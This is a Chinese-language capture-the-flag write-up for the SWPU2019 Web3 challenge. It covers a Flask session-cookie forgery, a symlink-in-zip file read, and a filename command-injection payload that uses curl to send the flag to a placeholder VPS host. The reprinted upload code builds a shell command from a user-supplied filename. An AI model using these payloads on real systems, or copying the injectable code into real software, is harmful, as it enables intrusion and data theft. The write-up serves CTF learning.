[SWPU2019]Web3

尝试登录发现可以登录上,点击上传发现‘Permission denied!’

可能要cookie伪造,发现cooike中是jwt加密的,使用解密脚本进行解密得到:

{‘id’: b’100′, ‘is_login’: True, ‘password’: b’default’, ‘username’: b’default’}

根据经验应该是ID为1的时候可以上传,但是没有秘钥。

测试了一会儿发现访问不存在的页面会出key:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

使用flask_session_cookie伪造。刷新就出现了上传文件页面

发现给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')
 
 
@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

审计源码后发现,只允许上传zip文件,并且不允许有/

然后就不太会了,看了一眼WP。发现了两种解法:

第一种:使用软链接完成文件读取
CVE-2018-12015: Archive::Tar: directory traversal
上传一个软链接压缩包,完成flag读取。因为缺少flag的绝对路径,只有相对于flask工作目录的相对路径./flag/flag.jpg,所以要先获取flask的工作目录。
这里又有两种方法

0x00
linux中,/proc/self/cwd/会指向进程的当前目录,那么在不知道flask工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问flag.jpgexp如下:

ln -s /proc/self/cwd/flag/flag.jpg ha1c9on
zip -ry ha1c9on.zip ha1c9on
上传就有回显了
第二种:命令注入
在文件名处进行命令注入。类似$(curl vps -T `pwd`).zip这种。
因为不允许/ 所以不能直接用cat命令读取
liunx命令ascii码可以和字符转换
$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)

获得flag

参考:https://www.jianshu.com/p/71bc9bdd9882

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud